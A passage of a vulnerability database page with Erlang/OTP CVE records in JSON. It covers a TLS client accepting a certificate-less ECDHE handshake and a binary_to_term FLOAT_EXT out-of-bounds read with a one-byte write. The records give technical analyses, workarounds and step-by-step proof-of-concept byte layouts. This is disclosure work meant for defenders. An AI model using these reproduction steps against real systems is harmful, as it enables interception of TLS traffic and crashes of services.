              "value": "* Start a TCP server that answers a TLS 1.2 ClientHello with a ServerHello that selects an offered ECDHE_RSA suite (for example TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256), then a ServerKeyExchange with x25519 parameters and no signature, then ServerHelloDone. Send no Certificate message. The UnauthenticatedECDH test of the BoringSSL test runner (BoGo) provides such a server.\n* Connect with ssl:connect/3 and the options {verify, verify_peer}, {cacerts, public_key:cacerts_get()}, {server_name_indication, \"www.example.com\"} and {customize_hostname_check, [{match_fun, public_key:pkix_verify_hostname_match_fun(https)}]}.\n* On the server, derive the session keys from its own ECDH key pair and the client\u0027s ClientKeyExchange, then send ChangeCipherSpec and Finished.\n* ssl:connect/3 returns {ok, Socket}, and the server decrypts the application data that the client sends. A fixed client aborts with a fatal alert after step 1."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Signature decoding.\u003c/strong\u003e \u003ccode\u003essl_handshake:decode_server_key/3\u003c/code\u003e splits the \u003ccode\u003eServerKeyExchange\u003c/code\u003e body into the key exchange parameters and a signature. The internal \u003ccode\u003edec_server_key_signature/3\u003c/code\u003e maps an empty remainder, a zero-length signature, and the TLS 1.2 \u003ccode\u003eanonymous\u003c/code\u003e signature algorithm with an empty signature to the signature algorithm \u003ccode\u003eanon\u003c/code\u003e. It does this for every key exchange algorithm, not only for the anonymous ones.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Signature verification.\u003c/strong\u003e In the \u003ccode\u003ecertify\u003c/code\u003e state the client calls \u003ccode\u003essl_handshake:verify_server_key/5\u003c/code\u003e for the non-anonymous key exchanges. No \u003ccode\u003eCertificate\u003c/code\u003e message arrived, so the stored public key is \u003ccode\u003eundefined\u003c/code\u003e. \u003ccode\u003essl_handshake:verify_signature/5\u003c/code\u003e has a clause that returns \u003ccode\u003etrue\u003c/code\u003e for the \u003ccode\u003eanon\u003c/code\u003e signature algorithm with any key, and that clause matches.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Handshake completion.\u003c/strong\u003e The client does not check that it received a certificate before it handles \u003ccode\u003eServerHelloDone\u003c/code\u003e. It derives the master secret from the unauthenticated (EC)DH parameters and sends \u003ccode\u003eClientKeyExchange\u003c/code\u003e, \u003ccode\u003eChangeCipherSpec\u003c/code\u003e and \u003ccode\u003eFinished\u003c/code\u003e. The attacker holds the (EC)DH private key and completes the handshake. \u003ccode\u003essl:connect/3\u003c/code\u003e returns \u003ccode\u003e{ok, Socket}\u003c/code\u003e, and \u003ccode\u003essl:peercert/1\u003c/code\u003e returns \u003ccode\u003e{error, no_peercert}\u003c/code\u003e on that socket.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Signature decoding.** `ssl_handshake:decode_server_key/3` splits the `ServerKeyExchange` body into the key exchange parameters and a signature. The internal `dec_server_key_signature/3` maps an empty remainder, a zero-length signature, and the TLS 1.2 `anonymous` signature algorithm with an empty signature to the signature algorithm `anon`. It does this for every key exchange algorithm, not only for the anonymous ones.\n\n**2. Signature verification.** In the `certify` state the client calls `ssl_handshake:verify_server_key/5` for the non-anonymous key exchanges. No `Certificate` message arrived, so the stored public key is `undefined`. `ssl_handshake:verify_signature/5` has a clause that returns `true` for the `anon` signature algorithm with any key, and that clause matches.\n\n**3. Handshake completion.** The client does not check that it received a certificate before it handles `ServerHelloDone`. It derives the master secret from the unauthenticated (EC)DH parameters and sends `ClientKeyExchange`, `ChangeCipherSpec` and `Finished`. The attacker holds the (EC)DH private key and completes the handshake. `ssl:connect/3` returns `{ok, Socket}`, and `ssl:peercert/1` returns `{error, no_peercert}` on that socket."
                }
              ],
              "value": "1. Signature decoding. ssl_handshake:decode_server_key/3 splits the ServerKeyExchange body into the key exchange parameters and a signature. The internal dec_server_key_signature/3 maps an empty remainder, a zero-length signature, and the TLS 1.2 anonymous signature algorithm with an empty signature to the signature algorithm anon. It does this for every key exchange algorithm, not only for the anonymous ones.\n\n2. Signature verification. In the certify state the client calls ssl_handshake:verify_server_key/5 for the non-anonymous key exchanges. No Certificate message arrived, so the stored public key is undefined. ssl_handshake:verify_signature/5 has a clause that returns true for the anon signature algorithm with any key, and that clause matches.\n\n3. Handshake completion. The client does not check that it received a certificate before it handles ServerHelloDone. It derives the master secret from the unauthenticated (EC)DH parameters and sends ClientKeyExchange, ChangeCipherSpec and Finished. The attacker holds the (EC)DH private key and completes the handshake. ssl:connect/3 returns {ok, Socket}, and ssl:peercert/1 returns {error, no_peercert} on that socket."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-124286",
        "datePublished": "2026-11-24T15:12:02.452Z",
        "dateReserved": "2026-11-12T20:33:15.864Z",
        "dateUpdated": "2026-11-24T15:12:02.452Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-120961 (GCVE-0-2026-120961)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:10 – Updated: 2026-11-24 15:10
    VLAI
    Title
    binary_to_term Heap Overrun via FLOAT_EXT Without Terminating Zero Byte May Abort the VM
    Summary
    Out-of-bounds Read vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to read memory after the input, and to change one byte there, via a FLOAT_EXT term without a terminating zero byte. decoded_size in erts/emulator/beam/external.c checks only that the 31 bytes of the FLOAT_EXT field are present. dec_term then passes the field to sys_chars_to_double, which scans to a NUL byte without a length limit. When the field has no NUL, the scan continues into the bytes after the field, and those bytes change the decoded float. When the radix character is found after the field and strtod does not accept it, sys_chars_to_double overwrites that byte (a , becomes a .). The VM can fault if the scan reaches an unmapped page. The safe option does not prevent this. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. The write is limited to the one radix byte. No arbitrary write or code execution was shown. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP 17.0, corresponding to erts before 6.0, is affected is unknown.
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 6.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < 4b954b8aa0f601a0d8d45f0953c77585afb6f853 (git)
    Unaffected: 4b954b8aa0f601a0d8d45f0953c77585afb6f853 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:10
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif",
                "sys_float"
              ],
              "packageName": "erts",
              "packageURL": "pkg:otp/erts?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "emulator/beam/external.c",
                "emulator/beam/erl_nif.c",
                "emulator/sys/unix/sys_float.c",
                "emulator/sys/win32/sys_float.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                },
                {
                  "name": "sys_chars_to_double"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "15.2.7.15",
                      "status": "unaffected"
                    },
                    {
                      "at": "16.4.0.8",
                      "status": "unaffected"
                    },
                    {
                      "at": "17.1.2",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "6.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif",
                "sys_float"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/external.c",
                "erts/emulator/beam/erl_nif.c",
                "erts/emulator/sys/unix/sys_float.c",
                "erts/emulator/sys/win32/sys_float.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                },
                {
                  "name": "sys_chars_to_double"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "erlang",
                "external",
                "erl_nif",
                "sys_float"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "erts/emulator/beam/external.c",
                "erts/emulator/beam/erl_nif.c",
                "erts/emulator/sys/unix/sys_float.c",
                "erts/emulator/sys/win32/sys_float.c"
              ],
              "programRoutines": [
                {
                  "name": "erlang:binary_to_term/1"
                },
                {
                  "name": "erlang:binary_to_term/2"
                },
                {
                  "name": "dec_term"
                },
                {
                  "name": "enif_binary_to_term"
                },
                {
                  "name": "sys_chars_to_double"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "lessThan": "4b954b8aa0f601a0d8d45f0953c77585afb6f853",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "4b954b8aa0f601a0d8d45f0953c77585afb6f853",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Khaled Suliman"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Khaled Suliman"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "dateAssigned": "2026-11-11T12:24:29.000Z",
          "datePublic": "2026-11-24T15:10:39.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eOut-of-bounds Read vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e to read memory after the input, and to change one byte there, via a \u003ccode\u003eFLOAT_EXT\u003c/code\u003e term without a terminating zero byte. \u003ccode\u003edecoded_size\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/external.c\u003c/code\u003e checks only that the 31 bytes of the \u003ccode\u003eFLOAT_EXT\u003c/code\u003e field are present. \u003ccode\u003edec_term\u003c/code\u003e then passes the field to \u003ccode\u003esys_chars_to_double\u003c/code\u003e, which scans to a NUL byte without a length limit. When the field has no NUL, the scan continues into the bytes after the field, and those bytes change the decoded float. When the radix character is found after the field and \u003ccode\u003estrtod\u003c/code\u003e does not accept it, \u003ccode\u003esys_chars_to_double\u003c/code\u003e overwrites that byte (a \u003ccode\u003e,\u003c/code\u003e becomes a \u003ccode\u003e.\u003c/code\u003e). The VM can fault if the scan reaches an unmapped page.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003esafe\u003c/code\u003e option does not prevent this. \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. The write is limited to the one radix byte. No arbitrary write or code execution was shown.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u0026nbsp;17.0, corresponding to erts before 6.0, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Out-of-bounds Read vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to `binary_to_term/1,2` to read memory after the input, and to change one byte there, via a `FLOAT_EXT` term without a terminating zero byte. `decoded_size` in `erts/emulator/beam/external.c` checks only that the 31 bytes of the `FLOAT_EXT` field are present. `dec_term` then passes the field to `sys_chars_to_double`, which scans to a NUL byte without a length limit. When the field has no NUL, the scan continues into the bytes after the field, and those bytes change the decoded float. When the radix character is found after the field and `strtod` does not accept it, `sys_chars_to_double` overwrites that byte (a `,` becomes a `.`). The VM can fault if the scan reaches an unmapped page.\n\nThe `safe` option does not prevent this. `enif_binary_to_term()` and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. The write is limited to the one radix byte. No arbitrary write or code execution was shown.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
                }
              ],
              "value": "Out-of-bounds Read vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to read memory after the input, and to change one byte there, via a FLOAT_EXT term without a terminating zero byte. decoded_size in erts/emulator/beam/external.c checks only that the 31 bytes of the FLOAT_EXT field are present. dec_term then passes the field to sys_chars_to_double, which scans to a NUL byte without a length limit. When the field has no NUL, the scan continues into the bytes after the field, and those bytes change the decoded float. When the radix character is found after the field and strtod does not accept it, sys_chars_to_double overwrites that byte (a , becomes a .). The VM can fault if the scan reaches an unmapped page.\n\nThe safe option does not prevent this. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. The write is limited to the one radix byte. No arbitrary write or code execution was shown.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-540",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can supply bytes to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e or \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e can make the decoder read bytes after the input, which then change the decoded float, and can change one \u003ccode\u003e,\u003c/code\u003e byte after the input to \u003ccode\u003e.\u003c/code\u003e. The VM can abort if the read reaches unmapped memory.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can supply bytes to `binary_to_term/1,2` or `enif_binary_to_term()` can make the decoder read bytes after the input, which then change the decoded float, and can change one `,` byte after the input to `.`. The VM can abort if the read reaches unmapped memory."
                    }
                  ],
                  "value": "An attacker who can supply bytes to binary_to_term/1,2 or enif_binary_to_term() can make the decoder read bytes after the input, which then change the decoded float, and can change one , byte after the input to .. The VM can abort if the read reaches unmapped memory."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "LOCAL",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-125",
                  "description": "CWE-125 Out-of-bounds Read",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:10:40.813Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "binary_to_term Heap Overrun via FLOAT_EXT Without Terminating Zero Byte May Abort the VM",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-r7pf-rpq8-5pf4"
            },
            {
              "name": "EEF CNA record for CVE-2026-120961",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-120961.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-120961",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-120961"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit 4b954b8 in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/4b954b8aa0f601a0d8d45f0953c77585afb6f853"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "binary_to_term Heap Overrun via FLOAT_EXT Without Terminating Zero Byte May Abort the VM",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cul\u003e\n\u003cli\u003eDo not call \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\u003c/li\u003e\n\u003cli\u003eIf distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\u003c/li\u003e\n\u003cli\u003eUse alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the \u003ccode\u003e[safe]\u003c/code\u003e option to \u003ccode\u003ebinary_to_term/2\u003c/code\u003e does NOT protect against this issue. It only restricts atom creation, not structural validation of binary encodings.\u003c/li\u003e\n\u003c/ul\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "* Do not call `binary_to_term/1,2` on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the `[safe]` option to `binary_to_term/2` does NOT protect against this issue. It only restricts atom creation, not structural validation of binary encodings."
                }
              ],
              "value": "* Do not call binary_to_term/1,2 on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input. Note: the [safe] option to binary_to_term/2 does NOT protect against this issue. It only restricts atom creation, not structural validation of binary encodings."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eBuild a \u003ccode\u003eFLOAT_EXT\u003c/code\u003e field without a NUL byte: tag 99 followed by the 31 bytes \u003ccode\u003e1.0e\u003c/code\u003e plus 26 times \u003ccode\u003e0\u003c/code\u003e plus \u003ccode\u003e1\u003c/code\u003e. This is the float 10.0.\u003c/li\u003e\n\u003cli\u003ePut the field at the end of an input, for example as the last element of a \u003ccode\u003eSMALL_TUPLE_EXT\u003c/code\u003e after the version byte 131.\u003c/li\u003e\n\u003cli\u003eBuild a larger binary that holds the input followed by the bytes \u003ccode\u003e7\u003c/code\u003e and NUL. Take the input as a sub-binary with \u003ccode\u003ebinary:part/3\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003ebinary_to_term/2\u003c/code\u003e with \u003ccode\u003e[safe]\u003c/code\u003e on the sub-binary. The last element decodes as \u003ccode\u003e1.0e17\u003c/code\u003e and not \u003ccode\u003e10.0\u003c/code\u003e: the decoder read the \u003ccode\u003e7\u003c/code\u003e after the input.\u003c/li\u003e\n\u003cli\u003eFor the write, use the 31 digits \u003ccode\u003e1234567890123456789012345678901\u003c/code\u003e as the field and put \u003ccode\u003e,5\u003c/code\u003e and NUL after the input. After the call, the \u003ccode\u003e,\u003c/code\u003e byte in the parent binary is a \u003ccode\u003e.\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Build a `FLOAT_EXT` field without a NUL byte: tag 99 followed by the 31 bytes `1.0e` plus 26 times `0` plus `1`. This is the float 10.0.\n2. Put the field at the end of an input, for example as the last element of a `SMALL_TUPLE_EXT` after the version byte 131.\n3. Build a larger binary that holds the input followed by the bytes `7` and NUL. Take the input as a sub-binary with `binary:part/3`.\n4. Call `binary_to_term/2` with `[safe]` on the sub-binary. The last element decodes as `1.0e17` and not `10.0`: the decoder read the `7` after the input.\n5. For the write, use the 31 digits `1234567890123456789012345678901` as the field and put `,5` and NUL after the input. After the call, the `,` byte in the parent binary is a `.`."
                }
              ],
              "value": "* Build a FLOAT_EXT field without a NUL byte: tag 99 followed by the 31 bytes 1.0e plus 26 times 0 plus 1. This is the float 10.0.\n* Put the field at the end of an input, for example as the last element of a SMALL_TUPLE_EXT after the version byte 131.\n* Build a larger binary that holds the input followed by the bytes 7 and NUL. Take the input as a sub-binary with binary:part/3.\n* Call binary_to_term/2 with [safe] on the sub-binary. The last element decodes as 1.0e17 and not 10.0: the decoder read the 7 after the input.\n* For the write, use the 31 digits 1234567890123456789012345678901 as the field and put ,5 and NUL after the input. After the call, the , byte in the parent binary is a .."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Size pass.\u003c/strong\u003e \u003ccode\u003ebinary_to_term_int\u003c/code\u003e first calls \u003ccode\u003edecoded_size\u003c/code\u003e in \u003ccode\u003eerts/emulator/beam/external.c\u003c/code\u003e. For \u003ccode\u003eFLOAT_EXT\u003c/code\u003e (tag 99), \u003ccode\u003edecoded_size\u003c/code\u003e skips 31 bytes and reserves heap for one float. It does not examine the content of the field.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Decode pass.\u003c/strong\u003e \u003ccode\u003edec_term\u003c/code\u003e passes the pointer to the field to \u003ccode\u003esys_chars_to_double\u003c/code\u003e and then advances by 31 bytes. The call carries no length. \u003ccode\u003esys_chars_to_double\u003c/code\u003e (in \u003ccode\u003eerts/emulator/sys/unix/sys_float.c\u003c/code\u003e and \u003ccode\u003eerts/emulator/sys/win32/sys_float.c\u003c/code\u003e) treats the field as a C string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Out-of-bounds read.\u003c/strong\u003e \u003ccode\u003esys_chars_to_double\u003c/code\u003e checks the float syntax one character at a time and requires a NUL after the last digit. A valid encoder pads the field with NUL bytes. When all 31 bytes are part of a float, the scan and the subsequent \u003ccode\u003estrtod\u003c/code\u003e call continue into the bytes after the field. When the field is the last term of the input, these are bytes after the input. If they complete a valid float and a NUL follows, the decoded value contains them.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. One-byte write.\u003c/strong\u003e \u003ccode\u003esys_chars_to_double\u003c/code\u003e remembers the position of the radix character, which can be \u003ccode\u003e.\u003c/code\u003e or \u003ccode\u003e,\u003c/code\u003e. If \u003ccode\u003estrtod\u003c/code\u003e stops before the end of the scanned string, the function replaces the radix character with the other one in place and calls \u003ccode\u003estrtod\u003c/code\u003e again. When the field contains only digits, the radix character is a byte after the field. A \u003ccode\u003e,\u003c/code\u003e there is changed to \u003ccode\u003e.\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5. Fault.\u003c/strong\u003e The scan has no upper limit. If only digits follow up to the end of the mapped memory, the read faults and the VM aborts.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Size pass.** `binary_to_term_int` first calls `decoded_size` in `erts/emulator/beam/external.c`. For `FLOAT_EXT` (tag 99), `decoded_size` skips 31 bytes and reserves heap for one float. It does not examine the content of the field.\n\n**2. Decode pass.** `dec_term` passes the pointer to the field to `sys_chars_to_double` and then advances by 31 bytes. The call carries no length. `sys_chars_to_double` (in `erts/emulator/sys/unix/sys_float.c` and `erts/emulator/sys/win32/sys_float.c`) treats the field as a C string.\n\n**3. Out-of-bounds read.** `sys_chars_to_double` checks the float syntax one character at a time and requires a NUL after the last digit. A valid encoder pads the field with NUL bytes. When all 31 bytes are part of a float, the scan and the subsequent `strtod` call continue into the bytes after the field. When the field is the last term of the input, these are bytes after the input. If they complete a valid float and a NUL follows, the decoded value contains them.\n\n**4. One-byte write.** `sys_chars_to_double` remembers the position of the radix character, which can be `.` or `,`. If `strtod` stops before the end of the scanned string, the function replaces the radix character with the other one in place and calls `strtod` again. When the field contains only digits, the radix character is a byte after the field. A `,` there is changed to `.`.\n\n**5. Fault.** The scan has no upper limit. If only digits follow up to the end of the mapped memory, the read faults and the VM aborts."
                }
              ],
              "value": "1. Size pass. binary_to_term_int first calls decoded_size in erts/emulator/beam/external.c. For FLOAT_EXT (tag 99), decoded_size skips 31 bytes and reserves heap for one float. It does not examine the content of the field.\n\n2. Decode pass. dec_term passes the pointer to the field to sys_chars_to_double and then advances by 31 bytes. The call carries no length. sys_chars_to_double (in erts/emulator/sys/unix/sys_float.c and erts/emulator/sys/win32/sys_float.c) treats the field as a C string.\n\n3. Out-of-bounds read. sys_chars_to_double checks the float syntax one character at a time and requires a NUL after the last digit. A valid encoder pads the field with NUL bytes. When all 31 bytes are part of a float, the scan and the subsequent strtod call continue into the bytes after the field. When the field is the last term of the input, these are bytes after the input. If they complete a valid float and a NUL follows, the decoded value contains them.\n\n4. One-byte write. sys_chars_to_double remembers the position of the radix character, which can be . or ,. If strtod stops before the end of the scanned string, the function replaces the radix character with the other one in place and calls strtod again. When the field contains only digits, the radix character is a byte after the field. A , there is changed to ..\n\n5. Fault. The scan has no upper limit. If only digits follow up to the end of the mapped memory, the read faults and the VM aborts."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-120961",
        "datePublished": "2026-11-24T15:10:40.813Z",
        "dateReserved": "2026-11-10T11:01:31.673Z",
        "dateUpdated": "2026-11-24T15:10:40.813Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-117642 (GCVE-0-2026-117642)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:09 – Updated: 2026-11-24 15:09
    VLAI
    Title
    binary_to_term Stack Exhaustion via Nested Funs in NEW_FUN_EXT and EXPORT_EXT Aborts the VM
    Summary
